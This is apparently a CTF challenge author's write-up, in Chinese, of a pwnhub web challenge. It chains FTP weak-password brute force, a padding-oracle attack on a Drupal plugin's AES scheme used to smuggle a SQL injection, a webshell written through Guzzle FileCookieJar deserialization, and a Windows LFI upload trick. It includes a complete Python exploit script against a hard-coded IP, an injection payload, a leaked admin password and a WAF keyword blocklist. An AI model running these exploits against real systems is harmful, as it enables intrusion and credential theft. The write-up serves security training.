pwnhub一直是大佬云集的地方,里面题的质量没话说。那天ven师傅突然找我要合作出题,我是很怕出不好影响pwnhub的名声的,但最后还是接了,为什么呢?因为之前有接触过padding oracle attack觉得挺有趣的,同时之前试过win的文件包含有些小灵感想要分享一下。
信息收集
nmap扫描一波,发现开放21,22,80端口
尝试匿名访问ftp,失败,尝试ftp弱口令爆破。
得到用户名:test,密码:test123。
这里很多人卡住了,后来不得不一遍一遍的放hint,其实test/test123是在常用ftp字典里的,但是很多人没有去尝试,或者仅仅指定了某个用户名,比如admin,我在看流量的时候真心急啊!为啥不跑一下字典......
而且这里用ftp弱口令也是有原因的,后面的padding 对服务器压力比较大,所以要在这里把大家分散开来。
这里出现一个很严重的非预期,就是vsftp的默认配置居然是允许目录穿越的,因为之前没怎么用过vsftp,所以踩坑了,真的很扎心,被大佬读到密钥了。
ftp登上去后发现一个文件。
下载下来,解压发现是个Drupal8.x的插件,通过README.txt得知:
1. 目前的网站正在使用这个未完成的插件。
2. admin用户的密码被修改,修改后的密码已经发送到他的邮箱中。
接下来审计一下插件的逻辑(功能)部分
`ArticleController.php`
get_by_id() 函数
public function get_by_id(Request request){ nid = request->get('id'); nid = this->set_decrpo(nid); //echo nid; this->waf(nid); query = db_query("select nid,title,body_value from node_field_data left join node__body on node_field_data.nid=node__body.entity_id where nid = {nid}")->fetchAssoc(); return array( '#title' => this->t(query['title']), '#markup' => '' .
this->t($query['body_value']) . '</p>', );
获取到url传入的id,通过aes解密
private function set_decrpo(id){ if(c = base64decode(base64decode(id))) { if(iv = substr(c,0,16)) { if(pass = substr(c,17)) { if(u = openssl_decrypt(pass, METHOD, SECRET_KEY, OPENSSL_RAW_DATA,iv)) { return $u; } else die("haker?bu chun zai de!"); } else return 1; } else return 1; } else return 1; }
经过一步waf的处理
private function waf(str){ if(stripos(str," ")!==false) die("Be a good person!"); if(stripos(str,"file")!==false) die("Be a good person!"); if(stripos(str,"/")!==false) die("Be a good person!"); if(stripos(str,"*")!==false) die("Be a good person!"); if(stripos(str,"sleep")!==false) die("Be a good person!"); if(stripos(str,"benchmark")!==false) die("Be a good person!"); if(stripos(str,"md5")!==false) die("Be a good person!"); if(stripos(str,"insert")!==false) die("Be a good person!"); if(stripos(str,"update")!==false) die("Be a good person!"); if(stripos(str,"delete")!==false) die("Be a good person!"); if(stripos(str,"../")!==false) die("Be a good person!"); if(stripos(str,"..\\")!==false) die("Be a good person!"); if(stripos(str,"'")!==false) die("Be a good person!"); if(stripos(str,'"')!==false) die("Be a good person!"); if(stripos(str,"load_file")!==false) die("Be a good person!"); if(stripos(str,"outfile")!==false) die("Be a good person!"); if(stripos(str,"execute")!==false) die("Be a good person!"); if(stripos(str,"#")!==false) die("Be a good person!"); if(stripos(str,"-")!==false) die("Be a good person!"); if(stripos(str,"eval")!==false) die("Be a good person!"); if(stripos(str,"\\")!==false) die("Be a good person!"); if(stripos($str,"&")!==false) die("Be a good person!"); }
接下来经过另一段waf代入sql语句
nid = addslashes(nid); waf_t = 233; if(strlen((string)nid)>16) { waf_t = "Id number can't too long!"; } query = db_query("select nid,title,body_value from node_field_data left join node__body on node_field_data.nid=node__body.entity_id where nid = {nid} and {waf_t} = 233")->fetchAssoc();
我们不知道私钥,无法构造出加密后的密文,这时候我们看一下加密函数
这里把加密用到的初始向量iv和密文用分隔符隔断放在一起base64两次编码形成最终密文,这就存在着漏洞。
我们可以通过padding oracle attack 获取加密的中间值,再利用中间值伪造任意明文的密文。
http://blog.zhaojie.me/2010/10/padding-oracle-attack-in-detail.html
因为是未完成插件,所以要找到接口需要看下插件路由规则
encrypt_article.routing.yml
/enlist :显示文章列表 /get_en_news_by_id/{id}:执行get_by_id()
扫描目录发现有upload目录
Padding oracle attack & Sql injection
简单说一下攻击的流程和原理:
加密的过程中需要将明文分块,然后选择第一块明文与iv值异或,生成的值经过加密生成第二块加密所需的iv值,以此类推。而根据规定,不足一个对齐粒度的块要进行填充,PCKS#5的填充方式即填充值为不足对齐粒度的字节数。
加密过程
解密过程
在php-openssl_decrypt上,如果检测到填充值不正确就会产生错误,所以我们通过把我们获取到的一整个密文分解出iv和ciper,先把iv置为全0x00,报错,因为最后解密出的最后一字节不为正确的填充字节,所以我们就在此基础上反复修改iv最后一字节,直到解密值最后一字节是正确的填充字节
于是我们通过异或填充字节能求得一个中间值,这个中间值异或任意一个明文当作iv,最后的解密结果就是这个明文。
通过这种方法,我们可以把中间值每一字节都爆破出来。
再说说这道题, openssl_decrypt(pass, METHOD, SECRET_KEY, OPENSSL_RAW_DATA,iv)
OPENSSL_RAW_DATA使用的填充模式是PKCS#7,具体填充方式与PKCS#5相同。所以可以利用padding oracle伪造任意明文。
exp:
# -*- coding: utf-8 -*- # author: wupco import sys import string import base64 import requests import math import re from urllib import quote url = "http://54.223.191.248/get_en_news_by_id/" #cookie = { # 'auth':'dMl2LO3x3p3A8PR1DnROJXjA0s3/tr9' #} encrypt_know_id = "a1IyaUEyNE9RMGpwZFpTaE9FWjNoWHp6RDNsaitDNUgwMm1JYUErYkQ0d04=" known_id = '4' d_cookie = base64.b64decode(base64.b64decode(encrypt_know_id)).encode('hex') iv = d_cookie[:32] ciper = d_cookie[34:] payload = '9'+chr(10)+'union'+chr(10)+'select'+chr(10)+'1,mail,3'+chr(10)+'from`users_field_data`where'+chr(10)+'uid=1'+chr(10)+'or@`' feature = ['haker?bu chun zai de!','dwordshot'] def t_xor(a, b): i = a ^ b t = '0' if len(str(hex(i)))<4 else '' return t+str(hex(i)).replace('0x','') def known_xor_now(m, l, b): if(b == m): b = m - 1 s = "" for i in l: s = str(t_xor(i,b)) + s return s def get_niv(m, p, i ,l): b = '0' if len(str(hex(i)))<4 else '' niv = ('00'*(m-p)) + (b+str(hex(i)).replace('0x','')) return niv + known_xor_now(m, l, p) def padding_num(m): return (len(payload)/m) + (1 if len(payload) % m >0 else 0) def request_(url): try: a = requests.get(url) return a except requests.ConnectionError: return request_(url) def brute_mid(mid_len, features, known_id): mid_list = [] for i in xrange(1,mid_len+1): for j in xrange(0,256): #print "brute force desc {0} word : chr({1})".format(i,j) nid = quote(base64.b64encode(base64.b64encode((get_niv(mid_len,i,j,mid_list)+'7c'+ciper).decode('hex')))) a = request_(url+nid) #print a.content if(i == mid_len): if(a.content.find(features[1])!=-1): new_mid = j^ord(known_id) mid_list.append(new_mid) break else: continue else: if(a.content.find(features[0])==-1): new_mid = j^i mid_list.append(new_mid) break else: continue print mid_list mid_list.reverse() print mid_list print "\n padding ok...\n" return mid_list def f_niv(mid_len,feature,known_id,payload_s): midlist = brute_mid(16,feature,known_id) pay = [] for i in xrange(0,len(midlist)): if(i > (len(payload_s) - 1)): pay.append(midlist[i] ^ (len(midlist) - len(payload_s))) else: pay.append(midlist[i] ^ ord(payload_s[i])) s = "" for i in pay: s += str(t_xor(i,0)) return s def main(): padd_num = padding_num(16) if padd_num > 1: s_payload = [payload[i:i+16] for i in xrange(0, len(payload), 16)] s_payload.reverse() ivlist = [] global ciper,iv s_ciper = ciper for p in s_payload: iv = f_niv(16,feature,known_id,p) print "\niv:{0}\n".format(iv) ivlist.append(iv) ciper = iv iv = ivlist.pop() ivlist.reverse() print "all ok~~~" return base64.b64encode(base64.b64encode((iv+'7c'+''.join(i for i in ivlist)+s_ciper).decode('hex'))) else: iv = f_niv(16,feature,known_id,payload) print "all ok ~~~" return base64.b64encode(base64.b64encode((iv+'7c'+ciper).decode('hex'))) print main()
因为这个Drupa密码默认采用sha512搭配salt进行迭代加密,所以解密可能性不大,结合前面搜集的信息,获取到管理员的邮箱,payload为```'9'+chr(10)+'union'+chr(10)+'select'+chr(10)+'1,mail,3'+chr(10)+'from`users_field_data`where'+chr(10)+'uid=1'+chr(10)+'or@`'```。
注意waf1和waf2,waf1拦截几乎所有的注释符,所以可以利用mysql-php 的 `重音符号 自动补全闭合来注释掉后面,绕过waf2的长度限制。
而padding一轮的时间也比较长,所以需要构造尽可能短的payload才行。
拿到邮箱后,根据enlist下有个未发布的文章,邮箱密码是admin888
进入邮箱后,得到腾讯文档分享地址。
查看历史修订记录,里面就有admin的密码
dAs^f#G*dDf@#%gdfjh
然后登陆后台,根据:
http://paper.seebug.org/334/
首先通过phpinfo拿到绝对路径,然后通过反序列化另一个类把shell写入upload下
/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
把cookie的信息存入一个文件中,filename填上webshell的地址
接下来就是文件内容了,通过审计CookieJar这个类,发现可以传入一个cookie信息数组,再通过这个类转成一个cookie对象,然后再传入setCookie这个函数中,就可以给cookies变量赋值了。
然后发现html目录下有flag.txt,里面写着flag在内网中。
WIN->LFI
用arp -a命令探测内网信息,找到内网win主机,开放了80端口。
在首页源码中,我们可以发现incp.php,猜测是LFI,经过测试发现存在waf。
incp.php中备注着部分关键waf。
利用邮箱中获得的密码,我们可以很轻易地进入到后台中,发现后台存在上传页面。上传任意文件都会被move为txt文件,文件名是时间戳。
这里其实用了win下的一个小trick
<123333312.txt>
or
123333<.txt<<
or more
于是最后拿到webshell,读到flag:
测试了waf函数,尝试用反撇号闭合没有成功,莫非是我用的mysqli的缘故?用;%00闭合成功了。
@Yiruma 后面有addslashes,%00应该用不了吧,反引号闭合对数据库是有要求的,貌似5.6的某几个小版本不行
@wupco 谢谢师傅,只测试了waf函数,一直以为addslashes只是对单引号什么的进行转义,没注意到会操作%00等,尴尬。
对了,反引号闭合我在mysql5.7.14里也没有测试成功呢。。。
@Yiruma 贴一下你的语句